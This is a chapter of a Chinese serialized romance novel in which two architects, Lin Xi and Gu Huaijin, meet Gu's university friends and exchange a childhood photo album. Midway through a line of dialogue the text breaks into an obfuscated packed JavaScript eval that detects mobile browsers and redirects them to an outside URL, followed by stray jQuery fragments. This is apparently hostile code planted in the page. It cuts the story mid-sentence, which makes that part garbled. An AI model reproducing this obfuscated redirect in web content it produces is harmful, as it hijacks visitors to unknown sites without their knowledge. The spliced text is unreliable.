十一月底，社区活动中心的主体结构完工了。
红砖墙重新砌过，阻燃木梁在屋顶整齐排列，新的门窗框已经安装到位。虽然内部装修还没开始，但房子的骨架已经立起来了，在冬日的阳光下显得格外精神。
林溪站在工地中央，仰头看着这个他和居民们一起建起来的房子，心里涌起难以言喻的成就感。这不是他参与的第一个项目，却是他第一个从设计到施工全程负责的项目。
老赵递给他一杯热茶：“小林，辛苦了。这房子，真像样。”
“是大家一起努力的成果。”林溪接过茶，暖意从手心一直传到心里。
手机震动，是顾怀瑾发来的消息：“今晚七点，陆深组局，几个朋友小聚，让我带你一起。去吗？”
林溪回复：“好。”
这是他们第一次以伴侣身份，共同出现在顾怀瑾的朋友圈里。
---
聚会在一家安静的私房菜馆。包厢里已经坐了五六个人，除了陆深，其他都是林溪不熟悉的面孔——顾怀瑾大学时的同学，现在也都是建筑圈里的人物。
“这位就是林溪吧？”一个戴眼镜的男人站起来，笑着伸出手，“常听怀瑾提起你。我是陈哲，和怀瑾一个宿舍的。”
林溪有些紧张地握手：“陈老师好。”
“别叫老师，叫陈哥就行。”陈哲性格爽朗，“怀瑾可是把你夸上天了，说云岭村那个天窗设计绝了。待会儿得给我们看看照片。”
顾怀瑾自然地揽过林溪的肩，把他带到座位上：“别听他瞎说。先点菜，边吃边聊。”
席间气氛很好。大家聊着行业动态，回忆大学时光。林溪最初还有些拘谨，但很快就放松下来——顾怀瑾的朋友们都很友善，没有因为他年轻而轻视他，反而对他的设计很感兴趣。
“说起来，”周婷笑着看向顾怀瑾，“老顾，咱们这群人里，就你感情生活最神秘。大学时候那么多女生追你，你愣是一个都没看上。我当时还以为你要和工作过一辈子呢。”
陈哲接话：“可不是吗！建筑系系草，拒绝了所有告白，成了咱们系一大悬案。现在总算破案了——原来是在等林溪啊！”
这话说得直白，林溪的脸瞬间红了。顾怀瑾轻咳一声：“吃饭都堵不住你们的嘴。”
“害羞了！”陆深起哄，“老顾你也有今天！”
顾怀瑾无奈地摇头，却在桌下轻轻握住了林溪的手。林溪感受到他掌心的温度，心里那点紧张慢慢消散了。
“林溪，你别介意。”周婷笑着说，“我们就是替怀瑾高兴。这么多年，总算等到对的人了。”
“是啊，”陈哲举杯，“来，为怀瑾和林溪，干一杯！”
大家纷纷举杯。林溪的杯子里是果汁，但这一刻，他觉得自己真正融入了这个圈子——不仅是作为顾怀瑾的伴侣，更是作为一个被认可的建筑师，一个被真诚欢迎的人。
---
聚会结束已是晚上十点。回家的路上，林溪看着车窗外掠过的街灯，脸上还带着浅浅的笑意。
“开心吗？”顾怀瑾问。
“嗯。”林溪转过头看他，“你的朋友们都很好。”
“他们都很喜欢你。”顾怀瑾说，“陈哲后来还悄悄跟我说，终于明白我为什么这么多年单身了——原来是在等你。”
林溪耳朵微热：“你大学时……真的没谈过恋爱？”
顾怀瑾目视前方，语气平静：“没有。大学时太忙了，除了学习就是打工，没时间也没心思谈恋爱。后来工作，更是一心扑在事业上。直到……”
他侧头看了林溪一眼，眼神温柔：“直到遇见你。”
这话说得简单，却让林溪心里泛起涟漪。他想起周婷说的“建筑系系草”，想起顾怀瑾大学时的照片——清瘦，干净，眼神清澈。那样优秀的一个人，竟然真的等到了三十二岁，等到了他。
“那你呢？”顾怀瑾反问，“大学时……有没有人追你？”
林溪老实点头：“有。但我都拒绝了。”
“为什么？”
“因为……”林溪顿了顿，“因为总觉得不是那个人。说不清楚为什么，就是觉得不对。”
顾怀瑾笑了：“那我们还挺像的。都在等那个对的人。”
车子在红灯前停下。顾怀瑾转头看着林溪，在车内昏黄的灯光下，林溪的侧脸柔和而美好。他忽然觉得，那些年的等待都是值得的——如果注定要等来这个人，那么等多久都可以。
“林溪。”他轻声唤他。
“嗯？”
“谢谢你，让我知道爱一个人是什么感觉。”
林溪转过头，在顾怀瑾眼里看到了完整的自己，还有那份毫无保留的爱意。他倾身过去，在顾怀瑾唇上印下一个轻轻的吻。
“也谢谢你，让我知道被一个人全心全意爱着，是什么感觉。”
绿灯亮了。车子重新启动，载着两个相爱的人，驶向属于他们的家。
---
第二天，林溪在事务所收到一个特殊的快递。
拆开包裹，里面是一本厚厚的相册。他好奇地翻开第一页，愣住了。
那是顾怀瑾大学时的照片——很多很多，有些甚至是高中时期的。照片里的顾怀瑾穿着校服，在篮球场上奔跑；在图书馆看书；在建筑模型前专注地测量。
每一张照片下面都有手写的标注：“高一，第一次参加建模比赛”、“大二，通宵赶设计图”、“毕业典礼，和爸妈姐姐合影”……
相册的最后几页是空的，只写着一行字：“剩下的故事，想和你一起写。”
林溪的眼眶突然热了。他拿起手机给顾怀瑾发消息：“相册收到了。”
几乎是秒回：“喜欢吗？”
“喜欢。”林溪打字的手有点抖，“你怎么会有这么多老照片？”
“我姐帮忙整理的。她说，既然决定要和你共度余生，就应该让你认识全部的我——不仅仅是现在的顾怀瑾，还有从前的那个。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193518|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
林溪翻看着相册，那些没有他参与的岁月，此刻以这样的方式展现在他面前。他看到顾怀瑾的成长轨迹：从一个青涩少年，到意气风发的大学生，再到如今沉稳成熟的建筑师。
他忽然明白，爱情不仅仅是共享现在和未来，也包括接纳彼此的过去——那些独自走过的路，那些独自看过的风景，最终都汇聚成此刻站在他面前的这个人。
---
晚上回家，顾怀瑾正在厨房做饭。林溪拿着相册走进去，从背后抱住他。
“怎么了？”顾怀瑾关小火，转身看他。
“就是突然觉得……”林溪把脸贴在他背上，“我好幸运。在你最好的时候，遇见了你。”
顾怀瑾转过身，把他搂进怀里：“不对。”
“嗯？”
“不是在最好的时候遇见你。”顾怀瑾认真地说，“是因为遇见了你，我才成为了最好的自己。”
这话让林溪鼻子发酸。他踮起脚，主动吻上顾怀瑾的唇。这个吻很温柔，带着感激，带着爱意。
吻到两人都有些喘，顾怀瑾才松开他，额头抵着他的额头：“相册看完了？”
“看完了。”林溪眼睛亮晶晶的，“我发现你高中时挺帅的。”
“现在不帅了？”
“现在更帅。”林溪笑了，“有一种……经过时间打磨的沉稳。”
顾怀瑾也笑了：“那你喜欢哪个？”
“都喜欢。”林溪认真地说，“因为那都是你。过去的你，现在的你，我都喜欢。”
他顿了顿，补充道：“而且，我也要把我的相册整理出来给你看。我小时候可皮了，爬树掏鸟窝，把我妈气得够呛。”
“那我一定要看。”顾怀瑾眼睛弯起来，“看看我们林总监小时候有多调皮。”
两人相视而笑。厨房里飘着饭菜的香味，窗外的夜色温柔。
这一刻，林溪突然觉得，那些关于“是否公开关系”的纠结，那些职场上的小心翼翼，都不重要了。重要的是，他们拥有彼此，拥有这份完整而坚定的爱。
“顾怀瑾。”他轻声说。
“嗯？”
“等社区活动中心竣工那天，我想……让大家都知道。”
顾怀瑾愣住了：“你确定？”
“确定。”林溪点头，“我不想再躲躲藏藏了。我们的感情是真的，我们的工作能力也是真的。如果连真实面对彼此的勇气都没有，又怎么能做出真诚的建筑？”
顾怀瑾看着他，眼里有惊讶，有感动，最后化为深深的爱意。
“好。”他握住林溪的手，“那就等竣工那天。我们一起。”
他们手上的戒指在灯光下泛着温润的光。这两枚素圈的戒指，承载着两代人的爱情，也将见证他们自己的故事。
而此刻，他们站在厨房温暖的灯光下，相拥，相爱，相约一个共同的未来。
那些一个人的岁月，终将成为背景。而两个人并肩前行的路，才刚刚开始。